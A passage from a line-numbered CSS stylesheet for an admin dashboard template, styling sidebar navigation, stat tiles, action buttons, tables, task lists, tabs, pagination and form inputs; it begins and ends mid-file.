.admin-sidebar-list .admin-sidebar-sub li { 386 | padding-left: 0; 387 | } 388 | 389 | .admin-sidebar-sub li:first-child { 390 | border-top: none; 391 | } 392 | 393 | .admin-sidebar-list li { 394 | position: relative; 395 | border: none; 396 | padding-left: 24px; 397 | border-left: 3px solid #fff; 398 | } 399 | 400 | .admin-sidebar-list .admin-parent li {} 401 | 402 | .tpl-page-container-ico { 403 | font-size: 20px; 404 | position: absolute; 405 | top: 6px; 406 | left: 18px; 407 | padding-right: 10px; 408 | color: #a7bdcd; 409 | } 410 | 411 | .tpl-sidebar-list {} 412 | 413 | .tpl-sidebar-list li.tpl-sidebar-list-hover:hover a, 414 | .tpl-sidebar-list li.tpl-sidebar-list-hover.active a { 415 | color: #5b9bd1; 416 | } 417 | 418 | .tpl-sidebar-list li.tpl-sidebar-list-hover:hover .tpl-page-container-ico, 419 | .tpl-sidebar-list li.tpl-sidebar-list-hover.active .tpl-page-container-ico { 420 | color: #5b9bd1; 421 | } 422 | 423 | .tpl-sidebar-list li.tpl-sidebar-list-hover:hover, 424 | .tpl-sidebar-list li.tpl-sidebar-list-hover.active { 425 | background: #f2f6f9; 426 | border-left: 3px solid #5C9ACF!important; 427 | } 428 | 429 | .tpl-sidebar-list-hover-show .tpl-sidebar-list-hover-show-font:hover, 430 | .tpl-sidebar-list-hover-show .tpl-sidebar-list-hover-show-font:hover .tpl-page-container-ico { 431 | color: #5b9bd1; 432 | } 433 | 434 | .tpl-sidebar-list-hover-show.active .tpl-sidebar-list-hover-show-font, 435 | .tpl-sidebar-list-hover-show.active .tpl-sidebar-list-hover-show-font .tpl-page-container-ico { 436 | color: #5b9bd1; 437 | } 438 | 439 | .tpl-sidebar-list-hover-show:hover, 440 | .tpl-sidebar-list-hover-show.active { 441 | background: #f2f6f9; 442 | border-left: 3px solid #f2f6f9; 443 | } 444 | 445 | .admin-sidebar-sub li:hover, 446 | .admin-sidebar-sub li.active { 447 | background: #f2f6f9; 448 | border-left: 3px solid #f2f6f9; 449 | } 450 | 451 | .admin-sidebar-sub li:hover a, 452 | .admin-sidebar-sub li.active a { 453 | color: #5b9bd1; 454 | } 455 | 456 | .tpl-topbar-list-button { 457 | float: left; 458 | color: #C0CDDC; 459 | font-size: 18px; 460 | } 461 | 462 | .tpl-topbar-list-button span { 463 | cursor: pointer; 464 | } 465 | 466 | .tpl-content-wrapper { 467 | padding-left: 255px; 468 | padding-top: 10px; 469 | } 470 | 471 | .tpl-content-wrapper-hover { 472 | padding-left: 0px; 473 | } 474 | 475 | .tpl-content-page-title { 476 | color: #697882; 477 | font-size: 22px; 478 | font-weight: 400; 479 | } 480 | 481 | .tpl-left-nav { 482 | width: 235px; 483 | float: left; 484 | background: #fff; 485 | border-radius: 6px; 486 | box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1); 487 | padding-bottom: 20px; 488 | } 489 | 490 | .tpl-left-nav-title { 491 | height: 50px; 492 | padding: 25px 15px 10px; 493 | color: #5C9ACF; 494 | font-size: 13px; 495 | font-weight: 600; 496 | } 497 | 498 | .tpl-left-nav-list { 499 | width: 235px; 500 | } 501 | 502 | .tpl-left-nav-item {} 503 | 504 | .tpl-left-nav-item .nav-link { 505 | display: block; 506 | position: relative; 507 | margin: 1px 0 0; 508 | border: 0; 509 | padding: 12px 15px; 510 | padding-top: 6px; 511 | text-decoration: none; 512 | color: #485a6a; 513 | font-size: 14px; 514 | } 515 | 516 | .tpl-left-nav-item .nav-link span, 517 | .tpl-left-nav-sub-menu a span { 518 | font-size: 14px; 519 | font-weight: 400; 520 | color: #485a6a; 521 | } 522 | 523 | .tpl-left-nav-item .nav-link i, 524 | .tpl-left-nav-sub-menu a i { 525 | font-size: 20px; 526 | position: relative; 527 | text-shadow: none; 528 | font-weight: 300; 529 | top: 2px; 530 | margin-left: 1px; 531 | margin-right: 6px; 532 | color: #a7bdcd; 533 | } 534 | 535 | .tpl-left-nav-item .nav-link:hover { 536 | background: #f2f6f9; 537 | color: #5b9bd1; 538 | border-left: 3px solid #5C9ACF!important; 539 | margin-left: -3px; 540 | padding-left: 15px; 541 | } 542 | 543 | .tpl-left-nav-item .nav-link:hover i, 544 | .tpl-left-nav-sub-menu a:hover i { 545 | color: #5b9bd1; 546 | } 547 | 548 | .tpl-left-nav-item .nav-link:hover span, 549 | .tpl-left-nav-sub-menu a:hover span { 550 | color: #5b9bd1; 551 | } 552 | 553 | .tpl-left-nav-item .nav-link.active { 554 | border-left: 3px solid #5C9ACF!important; 555 | background: #f2f6f9; 556 | margin-left: -3px; 557 | padding-left: 15px; 558 | } 559 | 560 | .tpl-left-nav-item .nav-link.active span, 561 | .tpl-left-nav-item .nav-link.active i { 562 | color: #5b9bd1; 563 | } 564 | 565 | .tpl-left-nav-sub-menu { 566 | list-style: none; 567 | display: none; 568 | padding: 0; 569 | margin: 0; 570 | } 571 | 572 | .tpl-header-nav-hover-ico { 573 | color: #C0CDDC!important; 574 | font-size: 19px!important; 575 | } 576 | 577 | .tpl-left-nav-more-ico { 578 | -webkit-transition: all 300ms; 579 | transition: all 300ms; 580 | font-size: 16px!important; 581 | top: 4px!important; 582 | } 583 | 584 | .tpl-left-nav-more-ico-rotate { 585 | -webkit-transform: rotate(90deg); 586 | transform: rotate(90deg); 587 | -webkit-transition: all 300ms; 588 | transition: all 300ms; 589 | } 590 | 591 | .tpl-left-nav-sub-menu a { 592 | display: block; 593 | margin: 0; 594 | padding: 4px 14px 9px 30px; 595 | text-decoration: none; 596 | font-size: 14px; 597 | font-weight: 400; 598 | background: 0 0; 599 | } 600 | 601 | .tpl-left-nav-sub-menu a:hover, 602 | .tpl-left-nav-sub-menu a.active { 603 | color: #5b9bd1; 604 | background: #f2f6f9!important; 605 | } 606 | 607 | .tpl-left-nav-sub-menu a.active i, 608 | .tpl-left-nav-sub-menu a.active span { 609 | color: #5b9bd1; 610 | background: #f2f6f9!important; 611 | } 612 | 613 | .tpl-left-nav-content-ico { 614 | font-size: 14px!important; 615 | position: relative; 616 | top: 8px!important; 617 | color: #ffbe40!important; 618 | } 619 | 620 | .tpl-left-nav-content { 621 | background-color: #36c6d3; 622 | border-radius: 1000px; 623 | color: #fff!important; 624 | padding: 0px 8px!important; 625 | float: right; 626 | position: relative; 627 | font-style: normal; 628 | font-family: "微软雅黑"; 629 | top: 10px!important; 630 | font-size: 12px!important; 631 | } 632 | 633 | .tpl-content-scope {} 634 | 635 | .note { 636 | margin: 0 0 20px; 637 | padding: 15px 30px 15px 15px; 638 | border-left: 5px solid #eee; 639 | border-radius: 0 4px 4px 0; 640 | font-size: 13px; 641 | } 642 | 643 | .note h3 { 644 | margin-bottom: 10px; 645 | font-size: 20px; 646 | font-weight: 500; 647 | } 648 | 649 | .note p { 650 | margin: 0; 651 | font-size: 14px; 652 | line-height: 26px; 653 | } 654 | 655 | .note-info { 656 | background-color: #f5f8fd; 657 | border-color: #8bb4e7; 658 | color: #010407; 659 | } 660 | 661 | .label-danger { 662 | background-color: #ed6b75; 663 | } 664 | 665 | .label { 666 | display: inline; 667 | padding: 0.2em 0.6em 0.3em; 668 | font-size: 75%; 669 | font-weight: bold; 670 | line-height: 1; 671 | color: #fff; 672 | text-align: center; 673 | white-space: nowrap; 674 | vertical-align: baseline; 675 | border-radius: .25em; 676 | } 677 | 678 | .dashboard-stat .visual { 679 | width: 80px; 680 | height: 80px; 681 | display: block; 682 | float: left; 683 | padding-top: 10px; 684 | padding-left: 15px; 685 | margin-bottom: 15px; 686 | font-size: 35px; 687 | line-height: 35px; 688 | } 689 | 690 | .dashboard-stat.blue .visual>i { 691 | color: #FFF; 692 | opacity: .1; 693 | filter: alpha(opacity=10); 694 | } 695 | 696 | .dashboard-stat .visual>i { 697 | margin-left: -35px; 698 | font-size: 110px; 699 | line-height: 110px; 700 | } 701 | 702 | .dashboard-stat .details { 703 | position: absolute; 704 | right: 15px; 705 | padding-right: 15px; 706 | } 707 | 708 | .dashboard-stat.blue .details .number { 709 | color: #FFF; 710 | } 711 | 712 | .dashboard-stat .details .number { 713 | padding-top: 25px; 714 | text-align: right; 715 | font-size: 34px; 716 | line-height: 36px; 717 | letter-spacing: -1px; 718 | margin-bottom: 0; 719 | font-weight: 300; 720 | } 721 | 722 | .dashboard-stat.blue .details .desc { 723 | color: #FFF; 724 | opacity: 1; 725 | filter: alpha(opacity=100); 726 | } 727 | 728 | .dashboard-stat .details .desc { 729 | text-align: right; 730 | font-size: 16px; 731 | letter-spacing: 0; 732 | font-weight: 300; 733 | } 734 | 735 | .dashboard-stat.blue .more { 736 | color: #FFF; 737 | background-color: #258fd7; 738 | } 739 | 740 | .dashboard-stat { 741 | display: block; 742 | margin-bottom: 25px; 743 | overflow: hidden; 744 | border-radius: 4px; 745 | } 746 | 747 | .dashboard-stat .more { 748 | clear: both; 749 | display: block; 750 | padding: 6px 10px; 751 | position: relative; 752 | text-transform: uppercase; 753 | font-weight: 300; 754 | font-size: 11px; 755 | opacity: .7; 756 | filter: alpha(opacity=70); 757 | } 758 | 759 | .row { 760 | margin-left: -18px; 761 | margin-right: -18px; 762 | overflow: hidden; 763 | } 764 | 765 | .row-mb { 766 | margin-bottom: 25px; 767 | } 768 | 769 | .dashboard-stat.blue { 770 | background-color: #3598dc; 771 | } 772 | 773 | .dashboard-stat.red { 774 | background-color: #e7505a; 775 | } 776 | 777 | .dashboard-stat.green { 778 | background-color: #32c5d2; 779 | } 780 | 781 | .dashboard-stat.purple { 782 | background-color: #8E44AD; 783 | } 784 | 785 | .dashboard-stat .more>i { 786 | display: inline-block; 787 | margin-top: 1px; 788 | float: right; 789 | } 790 | 791 | .m-icon-swapright { 792 | background-position: -27px -10px; 793 | } 794 | 795 | .m-icon-white { 796 | background-image: url(../img/syncfusion-icons-white.png); 797 | } 798 | 799 | .dashboard-stat.red .more { 800 | color: #fff; 801 | background-color: #e53e49; 802 | } 803 | 804 | .dashboard-stat.red .visual>i { 805 | color: #fff; 806 | opacity: .1; 807 | filter: alpha(opacity=10); 808 | } 809 | 810 | .dashboard-stat.red .details .number { 811 | color: #fff; 812 | } 813 | 814 | .dashboard-stat.red .details .desc { 815 | color: #fff; 816 | opacity: 1; 817 | filter: alpha(opacity=100); 818 | } 819 | 820 | [class^=m-icon-] { 821 | width: 14px; 822 | height: 14px; 823 | margin-top: 3px; 824 | line-height: 14px; 825 | vertical-align: top; 826 | } 827 | 828 | .dashboard-stat.green .details .number { 829 | color: #FFF; 830 | } 831 | 832 | .dashboard-stat.green .details .desc { 833 | color: #FFF; 834 | opacity: 1; 835 | filter: alpha(opacity=100); 836 | } 837 | 838 | .dashboard-stat.green .more { 839 | color: #FFF; 840 | background-color: #2bb8c4; 841 | } 842 | 843 | .dashboard-stat.green .visual>i { 844 | color: #FFF; 845 | opacity: .1; 846 | filter: alpha(opacity=10); 847 | } 848 | 849 | .dashboard-stat.purple .visual>i { 850 | color: #fff; 851 | opacity: .1; 852 | filter: alpha(opacity=10); 853 | } 854 | 855 | .dashboard-stat.purple .details .number { 856 | color: #fff; 857 | } 858 | 859 | .dashboard-stat.purple .details .desc { 860 | color: #fff; 861 | opacity: 1; 862 | filter: alpha(opacity=100); 863 | } 864 | 865 | .dashboard-stat.purple .more { 866 | color: #fff; 867 | background-color: #823e9e; 868 | } 869 | 870 | .tpl-portlet { 871 | padding: 12px 20px 15px; 872 | background-color: #fff; 873 | border-radius: 4px; 874 | } 875 | 876 | .tpl-portlet-title { 877 | padding: 0; 878 | min-height: 48px; 879 | border-bottom: 1px solid #eef1f5; 880 | margin-bottom: 10px; 881 | overflow: hidden; 882 | } 883 | 884 | .tpl-caption { 885 | color: #666; 886 | padding: 10px 0; 887 | float: left; 888 | display: inline-block; 889 | font-size: 16px; 890 | line-height: 18px; 891 | } 892 | 893 | .font-green { 894 | color: #32c5d2!important; 895 | } 896 | 897 | .font-red { 898 | color: #e7505a!important; 899 | } 900 | 901 | .bold { 902 | font-weight: 700!important; 903 | } 904 | 905 | .actions { 906 | float: right; 907 | display: inline-block; 908 | padding: 6px 0 14px; 909 | } 910 | 911 | .actions-btn { 912 | width: 100%; 913 | } 914 | 915 | .actions-btn li { 916 | display: inline-block; 917 | padding: 4px 14px; 918 | font-size: 12px; 919 | line-height: 1.5; 920 | color: #e7505a; 921 | border: 1px solid #e7505a; 922 | border-radius: 60px; 923 | cursor: pointer; 924 | } 925 | 926 | .actions-btn li:hover { 927 | transition: all .3s; 928 | } 929 | 930 | .actions-btn li.red { 931 | border-color: #e7505a; 932 | color: #e7505a; 933 | background: 0 0; 934 | } 935 | 936 | .actions-btn li.red:hover, 937 | .actions-btn li.red-on { 938 | border-color: #e7505a; 939 | color: #fff; 940 | background-color: #e7505a; 941 | } 942 | 943 | .actions-btn li.green { 944 | border-color: #32c5d2; 945 | color: #32c5d2; 946 | background: 0 0; 947 | } 948 | 949 | .actions-btn li.green:hover, 950 | .actions-btn li.green-on { 951 | border-color: #32c5d2; 952 | color: #FFF; 953 | background-color: #32c5d2; 954 | } 955 | 956 | .actions-btn li.purple { 957 | border-color: #8E44AD; 958 | color: #8E44AD; 959 | background: 0 0; 960 | } 961 | 962 | .actions-btn li.purple:hover, 963 | .actions-btn li.purple-on { 964 | border-color: #8E44AD; 965 | color: #FFF; 966 | background-color: #8E44AD; 967 | } 968 | 969 | .actions-btn li.dark { 970 | border-color: #2f353b; 971 | color: #2f353b; 972 | background: 0 0; 973 | } 974 | 975 | .actions-btn li.dark:hover, 976 | .actions-btn li.dark-on { 977 | border-color: #2f353b; 978 | color: #FFF; 979 | background-color: #2f353b; 980 | } 981 | 982 | .actions-btn li.blue { 983 | border-color: #3598dc; 984 | color: #3598dc; 985 | background: 0 0; 986 | } 987 | 988 | .actions-btn li.blue:hover, 989 | .actions-btn li.blue-on { 990 | border-color: #3598dc; 991 | color: #FFF; 992 | background-color: #3598dc; 993 | } 994 | 995 | .tpl-echarts { 996 | width: 100%; 997 | min-height: 400px; 998 | } 999 | 1000 | .tpl-scrollable { 1001 | width: 100%; 1002 | min-height: 400px; 1003 | } 1004 | 1005 | .number-stats {} 1006 | 1007 | .number-stats { 1008 | padding: 10px 0 16px; 1009 | overflow: hidden; 1010 | } 1011 | 1012 | .number-stats .stat-number .title { 1013 | font-size: 13px; 1014 | margin-bottom: 3px; 1015 | color: #B8C3C7; 1016 | } 1017 | 1018 | .number-stats .stat-number .number { 1019 | font-size: 27px; 1020 | line-height: 27px; 1021 | } 1022 | 1023 | .tpl-table-uppercase { 1024 | font-weight: 600; 1025 | font-size: 13px; 1026 | color: #93a2a9; 1027 | border: 0; 1028 | border-bottom: none; 1029 | } 1030 | 1031 | .tpl-table-uppercase>th { 1032 | border: none!important; 1033 | } 1034 | 1035 | .tpl-table-uppercase td { 1036 | border-top: 1px solid #F2F5F8!important; 1037 | } 1038 | 1039 | .tpl-table .user-pic { 1040 | display: inline-block; 1041 | vertical-align: middle; 1042 | height: 30px; 1043 | -webkit-border-radius: 100%; 1044 | -moz-border-radius: 100%; 1045 | -ms-border-radius: 100%; 1046 | -o-border-radius: 100%; 1047 | border-radius: 100%; 1048 | } 1049 | 1050 | .tpl-table .user-name { 1051 | font-size: 12px; 1052 | } 1053 | 1054 | .tpl-table { 1055 | margin-bottom: 0; 1056 | } 1057 | 1058 | .am-table>tbody>tr>td, 1059 | .am-table>tbody>tr>th, 1060 | .am-table>tfoot>tr>td, 1061 | .am-table>tfoot>tr>th, 1062 | .am-table>thead>tr>td, 1063 | .am-table>thead>tr>th { 1064 | border-top: 1px solid #F2F5F8; 1065 | color: #93a2a9; 1066 | } 1067 | 1068 | .font-green { 1069 | color: #32c5d2!important; 1070 | } 1071 | 1072 | .caption-helper { 1073 | padding: 0; 1074 | margin: 0; 1075 | line-height: 13px; 1076 | color: #9eacb4; 1077 | font-size: 13px; 1078 | font-weight: 400; 1079 | } 1080 | 1081 | .input-inline { 1082 | display: inline-block; 1083 | width: auto; 1084 | vertical-align: middle; 1085 | } 1086 | 1087 | .input-small { 1088 | width: 145px!important; 1089 | } 1090 | 1091 | .input-icon { 1092 | position: relative; 1093 | left: 0; 1094 | } 1095 | 1096 | .input-icon i { 1097 | font-size: 14px; 1098 | margin-top: 9px; 1099 | } 1100 | 1101 | .input-icon>i { 1102 | color: #ccc; 1103 | position: absolute; 1104 | margin-top: 2px; 1105 | z-index: 3; 1106 | width: 16px; 1107 | font-size: 16px; 1108 | text-align: center; 1109 | left: 0; 1110 | left: auto; 1111 | right: 8px; 1112 | float: right; 1113 | } 1114 | 1115 | .form-control { 1116 | display: block; 1117 | width: 100%; 1118 | height: 34px; 1119 | padding: 6px 12px; 1120 | font-size: 14px; 1121 | line-height: 1.42857; 1122 | color: #4d6b8a; 1123 | background-color: #fff; 1124 | background-image: none; 1125 | border: 1px solid #c2cad8; 1126 | border-radius: 4px; 1127 | -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); 1128 | box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); 1129 | -webkit-transition: border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s; 1130 | -o-transition: border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s; 1131 | transition: border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s; 1132 | outline: none; 1133 | } 1134 | 1135 | .form-control { 1136 | height: 30px; 1137 | padding: 2px 26px 3px 10px; 1138 | font-size: 13px; 1139 | } 1140 | 1141 | .input-icon.right { 1142 | left: auto; 1143 | right: 0; 1144 | } 1145 | 1146 | .tpl-portlet-input { 1147 | float: right; 1148 | display: inline-block; 1149 | padding: 4px 0; 1150 | } 1151 | 1152 | .wrapper { 1153 | z-index: 1; 1154 | height: 400px; 1155 | width: 100%; 1156 | background: #fff; 1157 | overflow: hidden; 1158 | position: relative; 1159 | } 1160 | 1161 | .scroller { 1162 | position: absolute; 1163 | z-index: 1; 1164 | -webkit-tap-highlight-color: rgba(0, 0, 0, 0); 1165 | width: 100%; 1166 | -webkit-transform: translateZ(0); 1167 | -moz-transform: translateZ(0); 1168 | -ms-transform: translateZ(0); 1169 | -o-transform: translateZ(0); 1170 | transform: translateZ(0); 1171 | -webkit-touch-callout: none; 1172 | -webkit-user-select: none; 1173 | -moz-user-select: none; 1174 | -ms-user-select: none; 1175 | user-select: none; 1176 | -webkit-text-size-adjust: none; 1177 | -moz-text-size-adjust: none; 1178 | -ms-text-size-adjust: none; 1179 | -o-text-size-adjust: none; 1180 | text-size-adjust: none; 1181 | } 1182 | 1183 | .scroller ul { 1184 | list-style: none; 1185 | padding: 0; 1186 | margin: 0; 1187 | width: 100%; 1188 | text-align: left; 1189 | } 1190 | 1191 | .scroller li { 1192 | padding: 0 10px; 1193 | height: 40px; 1194 | line-height: 40px; 1195 | font-size: 14px; 1196 | } 1197 | 1198 | .iScrollIndicator { 1199 | background: rgb(215, 220, 226)!important; 1200 | border: none!important; 1201 | border-radius: 0!important; 1202 | opacity: 1!important; 1203 | } 1204 | 1205 | .iScrollVerticalScrollbar { 1206 | opacity: 1!important; 1207 | } 1208 | 1209 | .tpl-task-list { 1210 | list-style: none; 1211 | padding: 0; 1212 | margin: 0; 1213 | } 1214 | 1215 | .tpl-task-list li { 1216 | position: relative; 1217 | padding: 10px!important; 1218 | border-bottom: 1px solid #F4F6F9; 1219 | height: auto!important; 1220 | font-size: 14px!important; 1221 | line-height: 22px!important; 1222 | } 1223 | 1224 | .task-checkbox { 1225 | float: left; 1226 | width: 30px; 1227 | } 1228 | 1229 | .task-title { 1230 | color: #838FA1; 1231 | margin-right: 10px; 1232 | } 1233 | 1234 | .task-title-sp { 1235 | margin-right: 5px; 1236 | } 1237 | 1238 | .label-sm { 1239 | font-size: 13px; 1240 | padding: 2px 5px; 1241 | } 1242 | 1243 | .label-success { 1244 | background-color: #36c6d3; 1245 | } 1246 | 1247 | .label { 1248 | text-shadow: none!important; 1249 | font-size: 14px; 1250 | font-weight: 300; 1251 | padding: 3px 6px; 1252 | color: #fff; 1253 | } 1254 | 1255 | .task-config { 1256 | display: none; 1257 | position: absolute; 1258 | top: 1px; 1259 | right: 10px; 1260 | } 1261 | 1262 | .tpl-task-list li:hover .task-config { 1263 | display: block; 1264 | margin-bottom: 0!important; 1265 | } 1266 | 1267 | .tpl-task-list-hover { 1268 | padding: 2px 12px; 1269 | color: #666; 1270 | border-radius: 3px; 1271 | background-color: #e1e5ec; 1272 | border-color: #e1e5ec; 1273 | } 1274 | 1275 | .tpl-task-list-hover:hover { 1276 | color: #999; 1277 | } 1278 | 1279 | .tpl-task-list-dropdown { 1280 | position: absolute; 1281 | top: 10px; 1282 | left: -85px; 1283 | } 1284 | 1285 | .tpl-task-list-dropdown-ul { 1286 | width: 80px!important; 1287 | min-width: 80px!important; 1288 | } 1289 | 1290 | .tpl-task-list-dropdown-ul li { 1291 | /*padding: 0!important;*/ 1292 | text-align: center; 1293 | } 1294 | 1295 | .tpl-task-list>li:hover { 1296 | background: #F4F6F9; 1297 | } 1298 | 1299 | .tpl-task-list-dropdown-ul li a { 1300 | padding: 0!important; 1301 | display: inherit!important; 1302 | } 1303 | 1304 | .label-danger { 1305 | background-color: #ed6b75; 1306 | } 1307 | 1308 | .label-warning { 1309 | background-color: #F1C40F; 1310 | } 1311 | 1312 | .label-default { 1313 | background-color: #bac3d0; 1314 | } 1315 | 1316 | .tpl-index-tabs { 1317 | position: relative; 1318 | } 1319 | 1320 | .tpl-index-tabs .am-nav-tabs { 1321 | border: none; 1322 | position: absolute; 1323 | top: -55px; 1324 | right: 0; 1325 | } 1326 | 1327 | .tpl-index-tabs .am-nav-tabs li a { 1328 | color: #333; 1329 | font-size: 13px; 1330 | border: none; 1331 | padding-bottom: 16px; 1332 | } 1333 | 1334 | .tpl-index-tabs .am-nav-tabs li a:hover { 1335 | background: transparent; 1336 | border: none; 1337 | border-bottom: 4px solid #36c6d3; 1338 | } 1339 | 1340 | .tpl-index-tabs .am-nav-tabs>li.am-active>a, 1341 | .tpl-index-tabs .am-nav-tabs>li.am-active>a:focus, 1342 | .tpl-index-tabs .am-nav-tabs>li.am-active>a:hover { 1343 | border: none; 1344 | } 1345 | 1346 | .tpl-index-tabs .am-nav-tabs li.am-active { 1347 | border: none; 1348 | border-bottom: 4px solid #36c6d3; 1349 | } 1350 | 1351 | .tpl-index-tabs .am-tabs-bd .am-tab-panel { 1352 | padding: 0; 1353 | } 1354 | 1355 | .tpl-index-tabs .am-tabs-bd { 1356 | border: none; 1357 | } 1358 | 1359 | .tpl-task-remind {} 1360 | 1361 | .tpl-task-remind li { 1362 | color: #82949a; 1363 | margin-bottom: 7px; 1364 | } 1365 | 1366 | .tpl-task-remind li .cosA { 1367 | margin-right: 80px; 1368 | } 1369 | 1370 | .tpl-task-remind li .cosB { 1371 | float: right; 1372 | width: 75px; 1373 | margin-left: -75px; 1374 | text-align: right; 1375 | font-style: italic; 1376 | color: #c1cbd0; 1377 | } 1378 | 1379 | .tpl-label-info { 1380 | font-size: 13px; 1381 | padding: 2px 5px; 1382 | background-color: #659be0; 1383 | color: #fff; 1384 | text-align: center; 1385 | white-space: nowrap; 1386 | vertical-align: baseline; 1387 | border-radius: .25em; 1388 | } 1389 | 1390 | .tpl-task-remind li .cosA .cosIco { 1391 | display: inline-block; 1392 | width: 24px; 1393 | height: 24px; 1394 | vertical-align: middle; 1395 | color: #fff; 1396 | text-align: center; 1397 | border-radius: 3px; 1398 | background-color: #36c6d3; 1399 | } 1400 | 1401 | .label-danger { 1402 | background-color: #ed6b75!important; 1403 | } 1404 | 1405 | .label-info { 1406 | background-color: #659be0!important; 1407 | } 1408 | 1409 | .label-warning { 1410 | background-color: #F1C40F!important; 1411 | } 1412 | 1413 | .tpl-portlet-components { 1414 | border: 1px solid #e7ecf1; 1415 | padding: 12px 20px 15px; 1416 | background-color: #fff; 1417 | margin-top: 0; 1418 | margin-bottom: 25px; 1419 | overflow: hidden; 1420 | } 1421 | 1422 | .tpl-portlet-components .portlet-title { 1423 | border-bottom: 1px solid #eef1f5; 1424 | padding: 0; 1425 | min-height: 48px; 1426 | margin-bottom: 10px; 1427 | } 1428 | 1429 | .tpl-portlet-components .portlet-title .caption { 1430 | float: left; 1431 | display: inline-block; 1432 | font-size: 18px; 1433 | line-height: 18px; 1434 | color: #666; 1435 | padding: 10px 0; 1436 | } 1437 | 1438 | .tpl-block { 1439 | padding-top: 10px; 1440 | padding-bottom: 10px; 1441 | font-size: 18px; 1442 | } 1443 | 1444 | .tpl-alert { 1445 | padding: 15px; 1446 | margin-bottom: 20px; 1447 | border: 1px solid transparent; 1448 | border-radius: 4px; 1449 | } 1450 | 1451 | .tpl-fz-ml { 1452 | margin-left: 30px; 1453 | } 1454 | 1455 | .tpl-table-fz-check { 1456 | border: 1px solid transparent; 1457 | height: 12px; 1458 | width: 12px; 1459 | background: #fff; 1460 | } 1461 | 1462 | .am-table-striped>tbody>tr:nth-child(odd)>td, 1463 | .am-table-striped>tbody>tr:nth-child(odd)>th { 1464 | background: #f3f4f6; 1465 | } 1466 | 1467 | .am-selected-btn.am-btn-default { 1468 | border-radius: 3px; 1469 | } 1470 | 1471 | .am-input-group { 1472 | border-radius: 3px; 1473 | overflow: hidden; 1474 | } 1475 | 1476 | .tpl-am-btn-success { 1477 | border-color: #5eb95e!important; 1478 | } 1479 | 1480 | .tpl-pagination .am-disabled a, 1481 | .tpl-pagination li a { 1482 | color: #23abf0; 1483 | border-radius: 3px; 1484 | padding: 6px 12px; 1485 | } 1486 | 1487 | .tpl-pagination .am-active a { 1488 | background: #23abf0; 1489 | color: #fff; 1490 | border: 1px solid #23abf0; 1491 | padding: 6px 12px; 1492 | } 1493 | 1494 | .tpl-table-images {} 1495 | 1496 | .tpl-table-images-content { 1497 | width: 100%; 1498 | border: 1px solid #e7ecf1; 1499 | padding: 26px; 1500 | margin-bottom: 30px; 1501 | } 1502 | 1503 | .tpl-table-images-content-i { 1504 | position: relative; 1505 | display: block; 1506 | width: 100%; 1507 | } 1508 | 1509 | .tpl-table-images-content-i-time { 1510 | width: 100%; 1511 | font-size: 12px; 1512 | color: #666; 1513 | padding-bottom: 10px; 1514 | border-bottom: 1px solid #e7ecf1; 1515 | margin-bottom: 10px; 1516 | } 1517 | 1518 | .tpl-table-images-content-i-shadow { 1519 | background: url(../img/lbbg.png) bottom repeat-x; 1520 | position: absolute; 1521 | left: 0; 1522 | right: 0; 1523 | bottom: 0; 1524 | top: 0; 1525 | } 1526 | 1527 | .tpl-table-images-content-i-info { 1528 | position: absolute; 1529 | left: 10px; 1530 | right: 0; 1531 | bottom: 10px; 1532 | z-index: 2; 1533 | } 1534 | 1535 | .tpl-table-images-content-i-info span.ico { 1536 | line-height: 40px; 1537 | display: inline-block; 1538 | color: #fff; 1539 | font-size: 14px; 1540 | } 1541 | 1542 | .tpl-table-images-content-i-info span.ico img { 1543 | border-radius: 50%; 1544 | width: 40px; 1545 | display: inline-block; 1546 | margin-right: 10px; 1547 | } 1548 | 1549 | .tpl-table-images-content-i img { 1550 | display: block; 1551 | width: 100%; 1552 | } 1553 | 1554 | .tpl-table-images-content-block { 1555 | width: 100%; 1556 | padding-top: 10px; 1557 | color: #333; 1558 | } 1559 | 1560 | .tpl-table-images-content .tpl-i-title { 1561 | font-size: 14px; 1562 | padding-bottom: 10px; 1563 | } 1564 | 1565 | .tpl-table-images-content .tpl-i-font { 1566 | font-size: 14px; 1567 | color: #666; 1568 | overflow: hidden; 1569 | text-overflow: ellipsis; 1570 | display: -webkit-box; 1571 | -webkit-box-orient: vertical; 1572 | line-height: 1.6em; 1573 | -webkit-line-clamp: 2; 1574 | max-height: 3em; 1575 | } 1576 | 1577 | .tpl-table-images-content .tpl-i-more {} 1578 | 1579 | .tpl-table-images-content .tpl-i-more ul { 1580 | border-top: 1px solid #e7ecf1; 1581 | border-bottom: 1px solid #e7ecf1; 1582 | margin-top: 10px; 1583 | width: 100%; 1584 | overflow: hidden; 1585 | padding: 10px 0px; 1586 | } 1587 | 1588 | .tpl-table-images-content .tpl-i-more li { 1589 | text-align: center; 1590 | width: 33.3333%; 1591 | font-size: 14px; 1592 | float: left; 1593 | } 1594 | 1595 | .tpl-edit-content-btn { 1596 | width: 100%; 1597 | } 1598 | 1599 | .tpl-edit-content-btn button { 1600 | width: 25%!important; 1601 | } 1602 | 1603 | .tpl-form-body { 1604 | padding: 20px; 1605 | } 1606 | 1607 | .tpl-form-line {} 1608 | 1609 | .tpl-form-line-form {} 1610 | 1611 | .tpl-form-line-form input[type=number]:focus, 1612 | .tpl-form-line-form input[type=search]:focus, 1613 | .tpl-form-line-form input[type=text]:focus, 1614 | .tpl-form-line-form input[type=password]:focus, 1615 | .tpl-form-line-form input[type=datetime]:focus, 1616 | .tpl-form-line-form input[type=datetime-local]:focus, 1617 | .tpl-form-line-form input[type=date]:focus, 1618 | .tpl-form-line-form input[type=month]:focus, 1619 | .tpl-form-line-form input[type=time]:focus, 1620 | .tpl-form-line-form input[type=week]:focus, 1621 | .tpl-form-line-form input[type=email]:focus, 1622 | .tpl-form-line-form input[type=url]:focus, 1623 | .tpl-form-line-form input[type=tel]:focus, 1624 | .tpl-form-line-form input[type=color]:focus, 1625 | .tpl-form-line-form select:focus, 1626 | .tpl-form-line-form textarea:focus, 1627 | .am-form-field:focus { 1628 | -webkit-box-shadow: none; 1629 | box-shadow: none; 1630 | } 1631 | 1632 | .tpl-form-line-form input[type=number], 1633 | .tpl-form-line-form input[type=search], 1634 | .tpl-form-line-form input[type=text], 1635 | .tpl-form-line-form input[type=password], 1636 | .tpl-form-line-form input[type=datetime], 1637 | .tpl-form-line-form input[type=datetime-local], 1638 | .tpl-form-line-form input[type=date], 1639 | .tpl-form-line-form input[type=month], 1640 | 